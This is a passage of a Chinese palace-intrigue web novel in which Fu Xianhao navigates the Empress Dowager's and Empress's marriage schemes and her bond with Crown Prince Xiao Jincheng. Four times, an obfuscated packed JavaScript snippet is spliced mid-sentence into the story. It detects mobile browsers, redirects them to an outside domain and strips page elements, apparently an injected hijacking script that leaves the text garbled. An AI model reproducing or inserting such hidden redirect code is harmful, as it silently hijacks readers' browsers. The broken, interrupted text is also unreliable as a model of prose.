宫中宫女前来迎接,傅羡好随着她们往里走。 还未踏入正殿,她就闻到缕缕檀香,夹杂着佛烛燃烧过后的淡淡香气,它们循着风而来,萦绕在她身侧,浸入她的肌肤。 望着正殿中撑手假寐的太后,傅羡好落轻了步履。 跟在她身后的兰絮低声道:“娘娘,傅姑娘来了。” 话音落下约莫过了几息时间,傅羡好见假寐的人影掀开了眼眸,她眼角的细纹晕开,已近古稀之年的太后娘娘仍可见年轻时端庄秀美的模样,若是仔细端看就会发现,萧瑾承与她的眉眼甚是相似。 她福身:“见过太后娘娘。” 少女站在那儿,婀娜多姿,娇俏可人的容貌清冷如冬夜,带着点点笑意的神情也散不去她眸中那缕不易察觉的淡然与疏离,好似世间万物都与她毫无干系,可仍然叫人忍不住靠近,如同飞蛾扑火那般。 太后久居深宫近五十载,见过的女子数不胜数,明艳的,可人的,清冷的,性格全然不同,而眼前的小姑娘亦是如此,并没有因为这些年的蹉跎泯然于众。 人人说她软弱可欺,实则这种人才能成为最后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458409|154179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赢家,世人永远都窥探不见她的底线在哪里。 她笑着摇了摇头。 皇后到底还是年轻,眼前这个小丫头,哪能是能够轻易被人拿捏的性子,“兰絮,赐座。” 宫人搬来圆凳。 兰絮遣散了众人,自己伺候在内。 傅羡好谢过太后坐下,心中多少带了点忐忑,呼吸都不由得落轻了几分。 太后随意落下手中把玩的佛珠,道:“昨日听兰絮提起,你入宫至今已经快六年了,哀家当时只是觉得时间过得真快,可今日看到你时还是不由得恍惚了下,依稀记得第一次在宫中见到你时,你才到哀家的腰间,如今甚是高挑。” “奴婢瞧着,傅姑娘似乎是宫中最为高挑的姑娘家。”兰絮笑着端了盏茶水递给傅羡好,“适才回来路上,奴婢偶尔还需要仰头瞧才行。” 傅羡好接过白玉茶盏,没有急着喝,“回娘娘话,家父家母生的高挑,奴婢也只是沾了双亲之光。” “距离上次见你母亲,也已经过去四载,不知她眼下如何了。”太后说罢顿了下,道:“在哀家面前,就不用自称奴婢了,你是入宫学习的,不是来当宫女的。” 后面这句话中,带了些许不满。 傅羡好回声应下,循着上一个话题回答道:“母亲前段时间来了家书,家中一切尚好。”思忖须臾,又道:“母亲不日后便会带着妹妹入宫,娘娘到时候就能亲眼瞧见了。” “昨日皇后来福阳宫,和哀家提过此事。”太后呷了口茶水,不疾不徐地道明传召她前来的由头:“也叫哀家想起你来,今日就寻你过来闲话几句。” “多谢娘娘挂心,民女尚好。”傅羡好微微一笑,换了个自称。 太后侧眸与兰絮对视了眼,眸中扬起淡淡的赞许。 模样端方有礼,言辞也是不卑不亢,不叫人觉得谄媚,也不叫人心生不悦。 若非是皇后身边的人,她倒是有点想叫太子前来见见。 不过可惜了。 太后眸中的惋惜一闪而过,“你如今,是十六?” “回禀太后娘娘,是的。”傅羡好颔首,“今年秋日满的十六。” 太后默了默,“可有许配人家?” 霎时间,傅羡好心生疑惑。 不过她面上不显,垂眸摇头道:“不曾。” “如此倒是有点儿说不过去了。”太后嗓音冷了几分,殿中的气压顿时下沉了不少,若是一般人进来,怕是要喘不过气来。 不过傅羡好曾听萧瑾承提及过太后数次,知晓她不是冲着自己来的,道:“民女如今还在宫中,若是许了人家也是浪费他人的年华,是以也就没有着急。” 她虽这么说,可太后哪能不清楚皇后传召傅羡好入宫所为何事,就是如今已经到了年岁,也没见皇后上心。 “哀家会和皇后说说的。”太后抬手示意她不用多言,沉默须臾,道:“过段时间你母亲入宫后,哀家打算传她带你妹妹来福阳宫一趟。” 话语刚出,傅羡好就明白了。 她呼吸微停。 她后知后觉地意识到,太后是有意给萧瑾承和二妹牵桥搭线。 身为长姐的她若是尚未许配人家,而是妹妹先行许配的人家,于情于理都说不通。 11. 第 11 章 傅羡好和妹妹傅枕梦一母同胞,相差两岁。她离家入宫时,妹妹不过九岁,而今也已经有五年未见。 傅枕梦如今已经十四岁,也着实到了谈论婚嫁的年龄。 太后不会不明白皇后为何会传召她入宫,也应当知晓皇后有意将自己许配给萧澈当侧室。 如此情况下,太后仍然想要将中立位即将摇摆至皇后一边的傅家,再次拉回中立位。 思及此,傅羡好神色自若的笑了笑,道:“如此,是家中的福气。” 太后没想到她一点就透,对她倒是生起了些许兴致,“听闻你入宫前,幼时就随着祖父入学堂。” 傅羡好颔首。 太后:“女学?” 傅羡好摇头:“祖父认为,传道授业解惑是普及大众之事,不分男子能学什么,女子不能学什么。” “如今看来,傅家能够成为世家之首,也是有理由的。”太后笑着对兰絮道,看向傅羡好的眼神也是愈发得满意,“也教得你如此聪慧伶俐。” 话音落下,还没等傅羡好开口,门外传来宫女的声音。 “娘娘,太子殿下求见。” 福阳宫正殿中一时无声。 谁都不知道萧瑾承为什么会在这个时候过来。 别说是傅羡好,就连太后也是满眸狐疑,“眼下这个时候,他不是在上书房吗?” 宫殿门扉被推开,泠冽的寒气扑面而来。 傅羡好起身,垂眸朝着背对着光影而来的身影欠身行礼,都无需抬头,就能感受到他身上带着的寒气。 苍茫白雪映起的光影透过窗牖,落在男子隐于门扉下的颀长身影,斑斓多姿的余晖斜斜洒过他清冷淡漠的侧脸,凛冽的眸光尤似滴落凝结的冰柱,只稍一眼就叫人禁不住发寒。 萧瑾承眸光掠过殿中,扫过垂眸敛眉的女子,最终落到首位的皇祖母身上,他合手作揖:“祖母。” 太后疑惑地朝他招了招手,“哀家还想着等会儿再宣人去寻你,没想到你就来了。” “是孙儿来的不巧。”萧瑾承寻了个位置坐下,眸光掠过仍旧站在原地保持原样的傅羡好,道:“打扰了皇祖母与傅姑娘的闲话。” “哀家正在和羡好说着她母亲和妹妹的事情。”太后循着孙子的视线望去,瞥见女子稍显拘束疏离的身影,心中的惋惜愈发地上涨,道:“站在那儿也不闲累,回来坐下吧,不必如此拘束。” 傅羡好颔首应下,回到自己的位置上,挺直身脊端坐。 “今岁宫宴,傅家也会前来。”太后拾起置于桌案上的佛珠,对萧瑾承道:“听皇后提起,说羡好也已经有四年没有见过家中长辈,如今好不容易进宫一趟,哀家想着再寻个时间宣她母亲和妹妹入宫。” 呷着茶水的萧瑾承指腹微滞,若有所思地落下白玉茶盏,道:“皇祖母如今身子骨不好,何必替下边的人操心这些事。” 他顿了下,余光扫了眼神色自若的傅羡好,没等太后再开口,又道:“若真觉得傅姑娘与家中多年未见,傅家此次进京小住几月,傅姑娘要是想见了,也有机会。” 闻言,傅羡好指尖颤了颤。 微微扬起的呼吸叫嚣着欲要冲出,几近叫她失态。 不过好在太后一心都落在萧瑾承的身上,没有关注到她的神态,而是沉吟了须臾,道:“也是个不错的选择,如此一来就要有人提前布置京中的事宜,你— —” 话语凝在嘴边,太后沉默了几息后,道:“此事就交由皇后着人操持即可。” 傅羡好眸框微微颤抖着,她克制下心中的激动,起身垂眸道:“民女谢过太后娘娘。” 女子柔和的嗓音平静无波,半分情绪起伏都没有,萧瑾承眉梢微扬,落在她那道纤细有致的长睫,如同蝴蝶扑扇轻舞的翅膀,清冽的眸底染上缕缕淡笑。 萧瑾承比谁都清楚,傅羡好对家人的思念几近将她吞噬。 今岁中秋佳节日,她得了假。 那日傅羡好与六局女官小聚过后,分明已经迷晕了宫中丫鬟,可在清心殿等候多时的萧瑾承迟迟都没有见到人影。 约莫一炷香的时间,暗卫前来禀告,说是傅姑娘独自一人待在东宫后院的竹林庭院中,赏月。 萧瑾承前往,远远地就见女子端着酒杯,恣意随性地倚坐在亭中,薄如蝉翼的天青色纱衣摇曳生姿,她侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458410|154179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眸望来时,那双清澈见底的眸子中装满了落寞之色。 他走上前,坐在她的对面。 傅羡好提起酒壶,递了酒盏给他,看向悬挂天际的皎皎明月,道:“今岁的圆月,明耀得刺眼。” 刺得叫她睁不开眼睛。 她侧眸而来,明月照耀下,眸底的不安与落寞交织缠绕,恰似一道看不见影的掌心,一下又一下地拽动着他人心弦。 萧瑾承没有开口,就坐在她的对面,陪她一杯又一杯地饮着。 圆月下斜了半寸,女子的眼眸也不负清明。 他起身,道:“你喝醉了,我送你回去。” “嗯,我醉了。”望着明月的傅羡好回眸,笑得很是难看,“我该回去歇下了。” 她落下手中的酒盏,不疾不徐地站起身。 身影倾斜的刹那,萧瑾承覆手揽住女子纤细无骨的腰身,将她拉入怀中,薄唇微启时对上饱含水光的眸子,他收回了话,问:“为何如此难过。” “我没有难过。”傅羡好没有推开他,手心捉着他的衣袖,抬眸与他对视须臾,败了下风,“好吧,是有一点点难过。” 顿了顿,自言自语般地重复道:“只是一点点而已。” 她没有再开口,萧瑾承就没有追问。 直到送她回到瑶阁时,傅羡好坐在榻上,抬眸静静地凝着他的身影,不言语。 萧瑾承不宜在瑶阁停留,确保她安然无恙时,正要转身离去,飘散的袖摆被女子白皙的双手拽住。 他回过头。 傅羡好仰头,与他隔空相望,“他们为什么不给我来信呢。” 今夜明明是中秋团圆月,可她连封信都没有收到。 一封也没有。 她明明写过去了的,可连敷衍的回复都没有收到。 说完后她低低地笑了下,松开拽着的袖摆,拉起丝衾侧身躺下,道:“我要睡了,殿下走吧。” 皎洁明月穿过窗牖,落在男子身上,就算如此,晦暗不明的神色也叫人摸不清他在想些什么。 翌日再见傅羡好时,她神色如常。 昨夜看到的模样,不过是一场幻影。 12. 第 12 章 “太子?” “殿下?” 接连不断的呼唤叫回萧瑾承的神思。 “想些什么呢。”太后狐疑,别人看不出来,她却明显地感觉到萦绕在他身侧的沉沉威压,思忖少顷,她侧眸看向静坐在侧的傅羡好,道:“筹备宫宴忙碌,哀家也就不留你多谈了。” “多谢娘娘体恤。”傅羡好听出太后是有事想要和萧瑾承交谈,故而寻了个理由遣自己离去。 她起身行礼,后退几步后方才转身离去。 倩影踏出正殿门槛,兰絮也跟了上去,门扉阖上,正殿中静了半瞬。 太后收回凝着傅羡好的目光,看向寡言淡漠的孙子,“皇后的意思,你可明白?” 萧瑾承把玩着茶盏,不冷不热地‘嗯’了声。 “哀家老了,不想见到你们兵戎相见的事情。”太后见孙子不慌不忙的模样,无奈得很,“不论如何,傅家都需要稳在那儿,不能偏倚。” 摩挲着茶盏的指腹微停,萧瑾承抬眸看向太后她老人家,不置可否。 “她聪明伶俐,皇后有意于她也情有可原。”太后想起多年前世家间的传闻,都道傅家长孙女聪慧可人,不过八九岁的年龄,学识就已经胜过傅家学堂的多数学子们,叫众学子们自叹不如,“可惜过于聪慧,入了他人眼,成了笼中雀。” 若再蠢笨一点,或许傅家就不会如此宝贝她,也就不会被传召入宫。 “她与澈儿的事情,只分时间早晚而已。”太后抚摸着佛珠,余光觑见孙子微微蹙眉的模样,怔忪少顷,道:“听闻傅家二姑娘已行笄礼,哀家有意将她送入东— —” “祖母。”萧瑾承神色晏然自若,“傅家一事,孙儿自有安排。” “哀家没想着让她入主东宫稳坐太子妃之位,不过是侧妃而已。”话语被打断的太后也不生气,“哀家命人打听过了,傅家二姑娘于家中备受宠爱,与多年前的傅羡好相比,有过之无不及。” 不费一兵一卒,就能将局势稳下,为何不做。 “更何况你宫中如今一人都没有,哀家都不知该如何面对你母后。”太后叹了口气,凝着漫不经心呷着茶水的孙子,摇摇头,“你母后走时,拉着哀家的手将你托付给哀家。” 王皇后离世时,萧瑾承不过十三岁。 他薄唇微抿,沉默须臾,退了一步:“傅家不行。” 听到这话时太后不由得凝眉,下一瞬意识到他言语间蕴藏的意思时,哪还管是什么傅家不行还是陈家不行,好不容易等到他松口的时候,哪能错过。 她神色欣喜:“傅家不行就不行,既然你不愿哀家也不强求,就是这次你绝不能再寻借口不出现了。” “嗯。”萧瑾承落下手中的白玉茶盏,“孙儿还有要事在身需要处理,明日得了空再来。” 太后神情喜悦地挥挥手,眼下也没有心思管他,寻思着若是排除掉傅家,又该选择谁家的姑娘比较合适。 寒风凛冽,傅羡好的心却是雀跃的。 跳跃的心脏毫无规律地敲击着,敲得她全身都暖烘烘的,步伐相较平日都雀跃了几分。 穿过百花苑踏上西宫殿径路时,看到了等候在百米外的竹清时,她的心情慢慢地平静了下来。 傅羡好敛下眸中的笑,睫毛再次扬起时,眸底清冽无垠。 福阳宫召见,是奇观。 入宫六载有余,她与福阳宫的交流少之又少,更别提太后身边的兰絮姑姑亲自前来传召,兰絮姑姑传召一举,就是陶贵妃都少有。 那段意味深长的话语再次一跃而上,荡在傅羡好耳畔,叫她心弦禁不住颤了好几颤,思忖着皇后问起时,该如何言说。 如实告知,还是…… 太后此举之意,傅羡好不是看不懂。 阖宫上下,谁都能够看出皇后为何要传召自己入宫,也逐渐看清她欲要将自己许配给萧澈之举。 就在这个时候,倘若妹妹傅枕梦嫁入东宫,即将倾向皇后一派的傅家,又会再次回到中立派,且极有可能完全踏入太子阵营。 萧瑾承如今稳坐东宫之位,要想将他拉下来必是要费上不少心思,且稍有不慎就会跌入深渊。 妹妹若是入了东宫,她入集英殿又能如何,东宫与集英殿,傅家定是选择东宫。 傅羡好眸光暗了几许。 与竹清视线相撞时,她微微颔首,透着血色的薄唇扬起,“姐姐。” 竹清若有所思地丈量她的神色须臾,欠身行礼:“娘娘遣奴婢前来迎接姑娘回宫。” “麻烦姐姐了。”傅羡好道。 傅羡好走在前头,和竹清一前一后地回到长信宫。 还未踏入正殿,就听到殿中传来的娇笑声,傅羡好闻得此声,是昭和宫的陶贵妃。 她侧眸,看向竹清。 竹清不解地摇头,自己一早就前往宫门等候,是以也不知晓陶贵妃是何时来的。 傅羡好伫于门口少顷,招手唤来檐下伺候的宫女,低语了几句,宫女得了指令后一路小跑前往小厨房。 不多时,宫女端出几道糕点,傅羡好顺手接过她端来的点心,微抬手心示意竹清留步,不疾不徐地踏入殿中。 闲谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458411|154179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的两人同时瞥见踏入宫殿的身影,不约而同地静了下来,凝着来人,她屈膝行礼,不卑不亢地将糕点摆放上案,糕点中也准备了陶贵妃喜欢的样式。 陶贵妃垂眸扫了眼跟前的糕点,慢条斯理地端起茶水呷了口,道:“还是娘娘身边的人省心,臣妾前些时日不过是随口提了嘴喜欢山楂糕,难为她还记得。” “她向来心细。”皇后笑道,“妹妹若是喜欢这山楂糕,等会儿本宫命人给你送过去。” “那就多谢皇后娘娘了。”陶贵妃取出手帕,擦拭过嘴角的水渍,道:“不过臣妾今日前来长信宫,也不是为了讨糕点来的,是有要事和娘娘言说。” 与她闲话多时寻不出重点的皇后闻言,若有所思地颔首,“妹妹但说无妨。” 珮云挥挥手,遣散了殿中的宫女。 见才回来不久的身影侧身作势要离开,皇后叫住了她。 傅羡好停下脚步,退到皇后身侧。 陶贵妃翻开掌心,守在她身后的宫女弯身递上道已经被打开过的信封,她落在案上,朝皇后的方向挪去,“娘娘过眼再道。” 皇后端辨她的神色须臾,从容不迫地取出信件。 宣纸绽开的刹那,伫于她身后的傅羡好眸光微凛,掀起薄薄的眼皮瞥向淡笑不语的陶贵妃几许,看向皇后。 捏着宣纸的指尖泛着白,不多时就被灼热的绯色取缔,皇后一目十行地看完信中所言,捏着信纸的指腹紧了紧,却道:“死无对证之事,又如何以此定罪。” “娘娘说的是,臣妾也是如此给家中说的。”陶贵妃指腹悠然自得地敲了敲桌案,指尖落在山楂糕上,捏起:“不过是公主府死了个面首而已,要是放在平日定是平静无波,可谁知恰逢三殿下正在彻查张思邈许川一事,听闻这个面首,入京前和张思邈等人出自同一书院。” 皇后闻言,眸色霎时往下沉了些许。 半响,她神色如常地笑了笑:“多谢妹妹前来告知本宫此事。” “娘娘客气了。”陶贵妃咬了口山楂糕,甚是酸涩的山楂之味扑鼻而来,她却吃得津津有味,“今日多谢娘娘款待,臣妾还要前往承天宫见皇上,就先走了。” 皇后笑而不语地颔了颔首,示意傅羡好送陶贵妃离去。 傅羡好得了指令,走上前给陶贵妃引路。 将将走到宫门口时,茶盏破碎的凛冽声响传来,紧随其后的,是陶贵妃的轻笑声。 陶贵妃侧眸扫了眼神色淡淡的傅羡好,道:“你留在长信宫,倒是可惜了。” 说完后,她便踏过宫门,登上仪仗离去。 13. 第 13 章 目送贵妃仪仗离去,傅羡好快速地转身朝着正殿走去。 偌大的宫殿中气压低沉,竹清低身拾着茶盏碎片,珮云不知从哪里寻来的团扇,微微扇着。 傅羡好福身:“娘娘。” 阖眸不语的皇后闻言掀开眼眸,极力克制着心中的怒气,可当再次看到桌案上摊开的宣纸时,眸中怒意盛起,“命公主明日入宫觐见!” 团扇中转动的树梢雏鸟微微停顿,珮云颔首应下,而后侧眸看向静伫一侧的傅羡好,下颌挑起少许,示意她出声安抚。 傅羡好端起茶盏,上前递到皇后跟前,借着此举一目十行地扫完宣纸上的字眼,退下之时方才道:“娘娘,不过是谣言而已,无需动怒,小心着道伤了自个的身子。” 皇后闻言,无声地瞥了眼傅羡好。 别人不知晓公主的性子,身为母亲的皇后怎会不知晓她性格乖张,看到宣纸上的描述时就知是自己女儿能够做出的事情。 莫说是强行掠夺尚未娶妻的男子,就是那男子娶妻了,她也有的是办法叫他屈服,对外只稍说是男子自愿就行。 如今逼死抢掠得来的面首,也只会惋惜还没有玩上几日,而不是担心自个逼死了个人无法收场。 “谣言?”皇后嗤笑了声,“你信吗?” “自是信的。”傅羡好伸出手,举止温柔地揉捏着皇后的肩膀,道:“雪天路滑,行走于岸边崴了脚跌倒也是时有发生的事情,那儿甚是偏僻,府中伺候的宫人不能在第一时间听到呼救声,也是情理之中。” 皇后愣了愣,反应过来。 沉默须臾,她道:“你说得对,本宫的女儿,本宫不信还有谁能信,不过是一个面首而已,死就死了。” 死无对证的事情,又能如何拿来做文章。 傅羡好微微一笑,垂落的睫毛掩下了眸底深处的淡漠,余光瞥见皇后抬眼的瞬间,眸中晕上点点笑意。 “刚才还没有来得及问你。”皇后微抬下颌,示意她坐下回话,“太后召你前往福阳宫是什么事情。” 傅羡好走下阶梯,道:“太后娘娘和我闲话了几句近日的宫宴,太子殿下前来问安前,娘娘询问我是否已经许配了人家,后来太子殿下来了,娘娘便遣我回来了。” 茶盖掀开浮末的动作停滞,皇后神色微变,看向端坐在圆凳上的傅羡好,道:“太后她老人家可曾提到你妹妹。” 傅羡好仰首,面色稍显惊讶。 皇后一看,心中有了答案。 “你妹妹也到了该许配人家的年龄,太后她老人家有这个心思,也是正常的。” 傅羡好‘嗯’了声,不再言语。 皇后见她神色稍显低沉的模样,嘴角弯了弯,突然觉得让她走这一趟福阳宫也不是什么坏事,“你这儿本宫自会替你筹谋,定不会让你在他人那儿落了脸面。” 言毕,眼前的姑娘抬起头。 雪色透过窗牖洋洋洒洒地落在她的脸上,稍稍亮起的眸光叫人移不开眼,她眼眶微红,欠身道:“多谢娘娘。” “行了,都这么大个姑娘了,怎么还红了鼻子。”皇后笑着挥手让她下去清洗一番。 傅羡好应声,退出了正殿。 须时,女子的身影出现在窗牖外,她站在树梢下,不知道和竹清说着什么,两人神色中都挂着淡淡的笑,不过依稀还能瞧见女子红润的眼眶。 珮云收回视线,问出了心中的不解:“奴婢不明白,羡好百般推辞,娘娘为何不选择傅二姑娘。” 皇后闻言笑了笑,不答反问:“本宫为何要选傅二姑娘。” “傅二姑娘……”珮云沉默了下,毕竟和傅羡好相处近七载,提及此事时心中也多有不忍,“羡好入宫后,傅家满心都落在了傅二姑娘身上,莫说是他人,如今就是羡好也是比不得的。” 这几年间,珮云和傅家接触是最多的,都不需要其他人和她说,就是偶尔来信交谈她都能看出其中的变化。 最初那两年,傅家是愧疚的,愧疚于无法顶住压力,将年少的女儿送入宫中,可渐渐的,也将该弥补于傅羡好的愧疚都安在了傅枕梦身上,含在嘴里怕化了,捧在手心怕冻着。 傅家怕,怕再出现第二个傅羡好。 也怕再出现时无法挽回,是以只能在事情还没有发生时,倾尽一切地对她好,半分委屈都不能叫她受着。 “傅二姑娘虽比不得羡好心思灵敏,可奴婢以为,如今要是想把控傅家,傅二姑娘才是最好的选择。” 傅二姑娘是最好的选择? 皇后闻言挑动眉梢,目光透过窗牖看向树梢下的倩影,女子眼睫扑扇着恰似振动的翅膀,笑容稍显恬淡,却叫人挪不开眼,如此容貌端放于偌大的后宫之中,也寻不出第二个。 阖宫上下谁人不道傅家大姑娘恰似浑金白玉般纯洁无暇,如此美名更是叫人趋之若鹜。 更何况…… “以傅枕梦的性子,怎能容忍自己为人侧室。”皇后端着茶盏于手中,指腹漫不经心地摩挲着杯口,“傅家又怎会容许她为人侧室。” 珮云愣下,怔怔地看向庭院中的傅羡好。 她不同。 受过凌辱还能走到今日这一步,韧劲方面就已经胜过一切。 珮云到底跟在皇后身边多年,短短一眼就看出她在想些什么,静了会儿,道:“只是— —没有任何证据证明那把火是傅姑娘烧的。” 皇后静静地端详着漂浮于水面上的浮末,默不作声。 三年前的元宵佳节,长信宫西偏殿走水。 那晚宫中燃放烟火,阖宫上下纷纷寻了地方观赏烟火,而那日实在不赶巧,淋雨过后的傅羡好在殿中伺候后晕倒,太医前来诊断,是高热而导致的晕厥。 众人前 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不论如何,结果是长信宫宫女大清洗,如今的宫女们别说欺凌于她,就是言语上都不敢多有得罪,生怕下场如同前人那般,苦不堪言。 皇后深深地看了傅羡好一眼,敛下目光:“本宫自是不希望是她所为。” 彼时的傅羡好,不过十三岁。 若是十三岁就有此手段有此筹谋,甚至能够狠心重伤自己,日后又树立起柔弱可欺的纯白无暇模样,显然已经是在失控的边缘徘徊。 “那日傅姑娘高烧晕厥,再是神算子也无法算出能够何时醒来。”珮云接过主子递来的温凉茶水,替换上新的茶盏,“着实能够忍耐这点倒是真的。” 比起她的聪慧,皇后也恰恰最为看重这点。 过于聪明也只是会被聪明反误,学会隐忍不发才是后宫上下的相处之道。 她想要的,是听话且聪明的女子。 年少时期的傅羡好名盛姑苏,傲骨凌凌,定要趁其年岁尚小,打碎重组。 短暂沉默后,皇后道:“今日这事,就听她的。” 萧澈即将入朝,不能再出别的岔子了。 正殿窗牖被阖上时,伫于树梢下的傅羡好微微侧眸望去,她无声地笑了笑。 与之交谈的宫女瞧见眼前忽而绽开笑容的女子,笑靥如花的娇俏容颜倏然敲动她的心弦,怔怔地看了几眼,问:“姑娘笑什么呢?” “没什么。”傅羡好折下挡在眼前的树枝,递给提着剪子的宫女,仰头看了眼将将破云而出的暖阳,道:“就是忽然觉得今日的天暖洋洋的,眼看着春日要来了。” 言毕,她敛下眸中的笑意。 血红的夕阳余晖斜斜笼罩着整座宫殿,如同张牙舞爪的血雾,壮丽而又惊心动魄。 14. 第 14 章 趁着夜幕还未降临,傅羡好回到瑶阁。 还未走近,就见锦书踱步于瑶阁门前,仰头张望着,忽而瞧见她时,目光一亮,倏地布满了笑,看着都觉得欢喜。 锦书一路小跑上前,“姑娘,您可算回来了。” 少女的语气带了些许娇嗔,又似乎是不明白傅羡好今日为何不带上自己出门。 傅羡好静静地凝了她半瞬,随口问:“是家中来信了?” “奴婢也没有想到这次回信如此之快。”锦书雀跃地颔首,跟着自家主子往里走,“刘掌簙命人前来唤奴婢去取时,奴婢还以为她们是寻我开心。” 傅羡好漫不经心地‘哦’了声,不再言语。 锦书见状,面上的笑淡了几分。 她稍显不安地多看了几眼,问:“姑娘不开心吗?” “今日跑了几个宫院,累得慌。”傅羡好摇头,抬手捶了下肩膀,才踏入阁中余光就瞥见桌案上的书信。 她走上前,端详了几眼信封,撕开。 道道潇洒自如的字迹映入眼帘,是她爹爹的字迹。 傅羡好一目十行地看完第一张宣纸的内容,皆是在言说于宫中如何平稳度日,莫要惹得皇后不喜,直到看到第二张信纸,紧绷的嘴角才渐渐松懈下来。 第二张信纸是她的娘亲何氏亲笔,断断续续地写着家中的琐碎小事,可就算如此,她也看得尤为欢喜,最后的最后,也提到了不日后将进京入宫参宴一事,到时他们会带着弟妹等人前来。 看完最后一个字,傅羡好微微掀起眼眸,逐字逐句地再看一遍,直到入夜的锣鼓声敲响,她才回过神来。 傅羡好沿着折横叠好书信,打开书案左侧的锦盒。 锦盒中装满了来自傅家的信件,这几年送入宫中的信件算不上多,三四个月一封,近七年的时间下来,也不过二十来封。 她给锦盒上了锁,起身前往耳房洗漱。 入了夜,烛火吹散。 傅羡好侧身躺在床榻上,眸光凝着遥挂天际的明月,太后与皇后的话语交织荡漾于耳畔侧,静如湖泊的心倏然被人掷入颗颗大小不一的石子,引得平静的湖面上荡起阵阵涟漪。 太后意图将傅家拉回中立位,相比起她而言,二妹确实是再好不过的选择,对于傅家而言,势如破竹的太子比起蛰伏不定的三殿下,太子乃是上上选。 可眼下此情此景,若是真的如此冒然行事,着实会叫她陷入困境。 二妹与萧瑾承论亲一事被提上日程的那一刻起,众人的目光定会落在身为长姐的傅羡好身上,到了那时只要皇后再次提起欲要将她许配萧澈一事,她就没了回绝的借口。 眼下最重要的,是萧瑾承的想法。 对于他而言,傅家虽然不是必须的,但要是傅家能够归顺于他,何乐而不为? 要命的是在这件事上,她猜不透萧瑾承的想法。 这门亲事一旦成了,他们就是长姐与妹夫的关系,如此一来彼此之间的合作更为紧密是一方面,而另一方面,此时此刻开始,自己与他就要保持距离才行。 思及此,傅羡好心弦微凝。 默了几息,她随手拉起锦被盖到下颌处,翻身背对桌案准备入睡,不愿再去多想。 谁知才阖上眼眸,耳畔就响起很轻很轻的一道哨声。 傅羡好倏地睁开眼眸,不动声色地拉起锦被抵着鼻尖,不叫外头的寒气涌入锦衾中。 约莫过去了两刻钟,哨声再次响起。 听到声音的傅羡好没有急着起身,呼吸平稳地躺了半响,状似无意地转过身,借着月光看向铺着被褥睡在地上的锦书,一手掀开锦衾一手捂着下半张脸,走向窗牖处。 皎白清月穿过层层叠叠树梢,倾洒于萧瑾承清隽有致的侧脸上,衬得倚着树干恣意而立的他愈发清冷,与她隔着窗牖而视的眸子中盛着浅薄的笑意。 他举起手中的酒壶,微微挑眉。 傅羡好笑了下。 扬手示意他在那儿等着自己。 她回身寻来斗篷披上,余光瞥了眼窗扇大开的窗牖,系着斗篷系带的动作慢了几分,思忖须臾,还是走了正门。 推开门后,傅羡好一路向后小跑而去。 细微的声响传来,萧瑾承抬眸望去,女子小跑的身影映入眸底,她宛若广寒宫上奔跑的玉兔,一点一点地朝着自己靠近,眨眼的功夫,就跑到了自个跟前。 她手心撑着双膝,微喘着气抬眸望着他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458413|154179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刹那间,萧瑾承听到了锁链移动引起的刺耳声响。 傅羡好靠近才看清隐于暗处的萧瑾承,漆黑如墨的眸光晦涩难懂,心知他无事不登三宝殿,也从不会为了公事特地来寻自己,静默须臾,道:“殿下是答应太后娘娘了?” 闻言,萧瑾承眸光平静地与眼前人对视,试图在她的神色中探寻到丝缕试探难捱之意。 然而随着时间流逝,眼前那道精致小巧的容颜神色不变,似乎对待这件事半分其他的想法也没有,不过也不能说全无想法,只不过是要是自己应下了这道话,顷刻之间,她就会拉开彼此之间的距离。 如今是五步,后面就会是十步,再来是十五步,待事成之后,就会彻底地消失在他的视野中。 在她的注视下,萧瑾承薄唇微启,问:“你希望我答应?” 傅羡好的指尖微不可察地颤了下,就连她自己都没有察觉到,“殿下的事情,自是殿下自己做主。” 她不过是个局外人,有何权利要求他答应与否。 少女清冽无垠的嗓音荡漾于皎白月色下,悄然融为一体。 凝着她须臾,萧瑾承淡然一笑,道:“孤拒绝了。” 傅羡好怔怔地仰眸与他对视。 说实话,她不理解他为什么会拒绝。 